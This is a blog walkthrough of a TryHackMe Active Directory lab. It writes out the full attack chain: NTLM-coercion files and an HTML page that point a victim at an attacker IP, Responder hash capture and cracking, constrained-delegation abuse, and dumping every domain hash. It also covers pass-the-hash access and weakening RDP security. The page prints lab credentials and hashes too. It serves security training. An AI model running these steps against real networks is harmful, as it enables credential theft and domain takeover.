TryHackMe Proxy Walkthrough

8 min readJun 14, 2026

TL;DR Walkthrough of the TryHackMe room Proxy, part of the Active Directory Security Testing Basics Pathway.

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This was a nifty little room that stressed basic enumeration, eleciting NTLMv2 authentication attempts, enumeration with BloodHound, and abusing msds-AllowedToDelegateTo. I did some post exploitation poking around looking at scheduled tasks and configurations on the VM. I have to say that this room’s author did a better job on their scheduled task that simulates a user then the author of the Intro to AD Lateral Movement network room.

I’ll get to that in the Summary though. Let’s walk through how I solved this room.

Enumeration

As always I started off with an nmap scan.

sudo nmap -sC -sV -O 10.66.167.28

The VM is a DC for the domain ctf.local. I always give enumeration as Guest a shot as TryHackMe, CTFs, ranges, etc often leave it enabled for students to abuse.

enum4linux -u ctf.local\\guest -a 10.66.167.28

Guest seems to be enabled. We find shares:

ADMIN$     Disk Remote Admin
C$ Disk    Default share
IPC$ IPC   Remote IPC
IT-Shared  Disk IT Department Shared Resources
NETLOGON   Disk Logon server share
SYSVOL     Disk Logon server share

I connected to the share and poked around.

smbclient \\\\10.66.167.28\\IT-Shared -U ctf.local\\guest

ls
mget *

I found credentials but the accounts stated they were disabled so I didn’t really bother with them.

helpdesk.bob \ Welcome123!
it.admin \ ITAdmin2019!

Lateral Movement

We also learn that svc.scanner looks for new files on that share every 2 minutes and we know we can write to the share thanks to enum4linux. Let’s try eleciting an authentication attempt from it.

put /home/kali/Downloads/@shortcut.url @shortcut.url
put /home/kali/Downloads/something.scf something.scf

I also tried a PS1.

#This is the one liner in the PS1
Get-ChildItem \\192.168.134.109\icons\

put /home/kali/Downloads/Elecit.ps1 Elecit.ps1

I ran Responder and waited.

sudo responder -i tun0 -dwv

The PS1 seems to have done the trick. I captured an authentication attempt by the aforementioned svc.scanner. I didn’t get anything with the *.url and *.scf files. I’ll show why in the post exploitation part of this walkthrough.

john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/Downloads/ProxyHash.txt

Privilege Escalation

Get Rich’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

I have actual credentials now rather than just Guest access. Let’s fire up BloodHound and see if this svc.scanner account holds any ‘Dangerous Rights’.

cd /home/kali/Downloads/THM/bloodhound
sudo bloodhound-python -d ctf.local -u svc.scanner -p 1summerlove! -ns 10.66.167.28 -c all

./neo4j-desktop-1.6.0-x86_64.AppImage
bloodhound

BloodHound immediately found a path from svc.scanner to the DC and helpfully lets us know exactly how to abuse it from Kali.

I added the room’s VM to the hosts file on Kali.

sudo mousepad /etc/hosts

10.66.167.28 DC01
10.66.167.28 DC01.ctf.local
10.66.167.28 ctf.local

I then executed the abuse that BloodHound outlined. The theory behind this is rather long and others have already written it up far better than I could so I will simply cite them here.

/usr/share/doc/python3-impacket/examples/getST.py ctf.local/svc.scanner:'1summerlove!' -spn cifs/DC01.ctf.local -impersonate Administrator -dc-ip 10.66.167.28
export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
/usr/share/doc/python3-impacket/examples/secretsdump.py -k -no-pass ctf.local/Administrator@DC01.ctf.local

Remember that the first Administrator shown is the DSRM account which is stored in the SAM on a DC.

SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dfe3378335d43f9764e581b856a662a:::

NTDS.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dd4592176bb3f58eea4e87a8f0eaf270:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bcebb2269753d50cfc594c78748f1e01:::
ctf.local\svc.scanner:1111:aad3b435b51404eeaad3b435b51404ee:dcb8cc599e5a5b1fb4dd83f94fea2660:::
ctf.local\svc.mssql:1112:aad3b435b51404eeaad3b435b51404ee:e58b1f56d99711bf4b14a9bf3a0e8820:::
ctf.local\helpdesk.bob:1113:aad3b435b51404eeaad3b435b51404ee:e4a22d8e7bbec871b341c88c2e94cba2:::
ctf.local\it.admin:1114:aad3b435b51404eeaad3b435b51404ee:2be08b7057df68ac6c4701dafa62b5c3:::

We have all the domain hashes. I then simply PTHed as Administrator using evil-winrm and searched for the flag under C:\Users since TryHackMe likes to put flag files on user’s Desktops.

evil-winrm -i 10.66.167.28 -u Administrator -H dd4592176bb3f58eea4e87a8f0eaf270

Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM" | Select-Object Path, LineNumber, Line

Path                                    LineNumber Line
- -                                     - - - - -   - - 
C:\Users\Administrator\Desktop\flag.txt          1 THM{S4U2S3lf_C0nstr41ned_D3l3g4t10n_2_DA}

The flag, THM{S4U2S3lf_C0nstr41ned_D3l3g4t10n_2_DA}, is the only question in this room. I was done finding the answers asked by TryHackMe but I had questions of my own to find the answers to.

Post Exploitation

I already had a session open thanks to evil-winrm so I just enabled RDP via PTH from there.

#Enable RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 ; Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

#disable RestrictedAdmin Mode, aka allow RDP via PTH
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -value '0' -force

#Disable NLA
$TargetMachine = $env:COMPUTERNAME ; (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName $TargetMachine -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

I then RDPed into the VM and went poking around.

xfreerdp /v:10.66.167.28 /u:Administrator /pth:dd4592176bb3f58eea4e87a8f0eaf270 /dynamic-resolution

Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Enabled, Description

Funny enough the two we got creds for in that text file are only Domain Users anyway.

svc.mssql is in the Backup Operators group, however we didn’t have an escalation path to them. The room’s author could have made the room a little harder by giving svc.scanner some obscure right on svc.mssql like ScriptPath, the right to set an SPN, or the right to reset their password.

I found the scheduled task and PS1 that simulates svc.scanner browsing that share drive.

The task runs on startup and the PS1 contains a loop that runs continuously. It sleeps for 60 seconds and then runs again.

#C:\Scripts\it_filescanner.ps1

$log = 'C:\Windows\Temp\scanner.log'
$share = '\\DC01.ctf.local\IT-Shared'

Add-Content $log "$(Get-Date -f 'yyyy-MM-dd HH:mm:ss') Scanner started (pid $PID)"

while ($true) {
try {
$files = Get-ChildItem $share -File -EA SilentlyContinue
foreach ($f in $files) {
$proc = $null

switch ($f.Extension.ToLower()) {

{ $_ -in '.html','.htm' } {
$proc = Start-Process 'iexplore.exe' -ArgumentList $f.FullName -PassThru -EA SilentlyContinue
}

{ $_ -in '.bat','.cmd' } {
$proc = Start-Process 'cmd.exe' -ArgumentList "/c `"$($f.FullName)`"" -PassThru -EA SilentlyContinue
}
'.ps1' {
$proc = Start-Process 'powershell.exe' -ArgumentList "-ExecutionPolicy Bypass -NonInteractive -File `"$($f.FullName)`"" -PassThru -EA SilentlyContinue
}
}

if ($proc) {
Start-Sleep 10
$proc | Stop-Process -Force -EA SilentlyContinue
}

Add-Content $log "$(Get-Date -f 'yyyy-MM-dd HH:mm:ss') Processed $($f.Name)"
}

Stop-Process -Name 'iexplore' -Force -EA SilentlyContinue
} catch {

Add-Content $log "$(Get-Date -f 'yyyy-MM-dd HH:mm:ss') Error: $_"
}
Start-Sleep 60
}

The room’s author also left a file named @steal in C:\Windows\Temp with the contents:

[Shell]
Command=2
IconFile=\\192.168.128.8\share\icon.ico

[Taskbar]
Command=ToggleDesktop

This may have been something they used in testing the VM before creating the TryHackMe room.

Lastly I found the author’s PS1 for [mis]configuring the VM; C:\Scripts\ctf_restore.ps1

# ctf_restore.ps1 â€" re-applies CTF state at every boot (SYSTEM task)
$log = 'C:\Windows\Temp\ctf_restore.log'
"$(Get-Date) CTF-BootRestore starting" | Out-File $log -Encoding ascii

# RDP
try {
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' `
-Name fDenyTSConnections -Value 0 -Force
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' `
-Name UserAuthentication -Value 0 -Force
Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' -EA SilentlyContinue
"$(Get-Date) RDP OK" | Out-File $log -Append -Encoding ascii
} catch { "$(Get-Date) RDP error: $_" | Out-File $log -Append -Encoding ascii }

# Wait for ADWS
$t = 0
while ($t -lt 120) {
try { $null = Get-ADDomain -EA Stop; break } catch { Start-Sleep 5; $t += 5 }
}

# Re-apply constrained delegation
try {
Set-ADAccountControl svc.scanner -TrustedToAuthForDelegation $true -EA SilentlyContinue
Set-ADUser svc.scanner -Replace @{
'msDS-AllowedToDelegateTo' = @('cifs/DC01.ctf.local','cifs/DC01')
} -EA SilentlyContinue
"$(Get-Date) Delegation OK" | Out-File $log -Append -Encoding ascii
} catch { "$(Get-Date) Delegation error: $_" | Out-File $log -Append -Encoding ascii }

# Re-create share if missing
try {
if (-not (Get-SmbShare -Name 'IT-Shared' -EA SilentlyContinue)) {
New-SmbShare -Name 'IT-Shared' -Path 'C:\IT-Shared' `
-FullAccess 'Everyone' -EA SilentlyContinue | Out-Null
}
"$(Get-Date) Share OK" | Out-File $log -Append -Encoding ascii
} catch { "$(Get-Date) Share error: $_" | Out-File $log -Append -Encoding ascii }

# Guest / blank-password logon
try {
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' LimitBlankPasswordUse 0 -Force
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' restrictanonymous 0 -Force
"$(Get-Date) LSA OK" | Out-File $log -Append -Encoding ascii
} catch { "$(Get-Date) LSA error: $_" | Out-File $log -Append -Encoding ascii }

# Start scanner
try {
Start-ScheduledTask -TaskPath '\IT-Monitoring\' -TaskName 'IT-FileScanner' -EA SilentlyContinue
"$(Get-Date) Scanner started" | Out-File $log -Append -Encoding ascii
} catch { "$(Get-Date) Scanner start error: $_" | Out-File $log -Append -Encoding ascii }
"$(Get-Date) CTF-BootRestore complete" | Out-File $log -Append -Encoding ascii

I find these things interesting, being someone who has created a TryHackMe room and a cyber range myself.

I also find the room author’s writing style rather odd. For example I always put ‘catch’ on a new line and I rarely if ever close a bracket and then open a new bracket on the same line. I do give them credit for not using shorthand, the only one I noticed was them using ‘-EA’ instead of ‘-ErrorAction’.

Summary

IMHO this room’s author took a superior approach to that taken by the author of the Intro to AD Lateral Movement network room. I give them a lot of credit here.

I found a *.html for eleciting NTLMv2 authentication attemps as well and tried it out in this room. It may come in handy in another TryHackMe room, CTF, range, etc later.

<html>
<head>
 <title>Authentication Required</title>
</head>
<body>
 <img src="file://192.168.134.109/pics/image.jpg" alt="Resource">
 <script>
 // Alternatively, triggering via a background redirect
 window.location.href = "//192.168.134.109/auth_required";
 </script>
</body>
</html>

Overall this was a good little room. My only criticism would be that the escalation path was a little short.

References

Eliciting NTLM via a HTML file: https://www.fox-it.com/be/research/sign-over-your-hashes-stealing-netntlm-hashes-via-outlook-signatures/

More ways to elicite NTLMv2: https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html

ms-DS-Allowed-To-Delegate-To: https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtodelegateto

Delegation abuse: https://blog.harmj0y.net/activedirectory/s4u2pwnage/

More delegation abuse: https://blog.harmj0y.net/redteaming/another-word-on-delegation/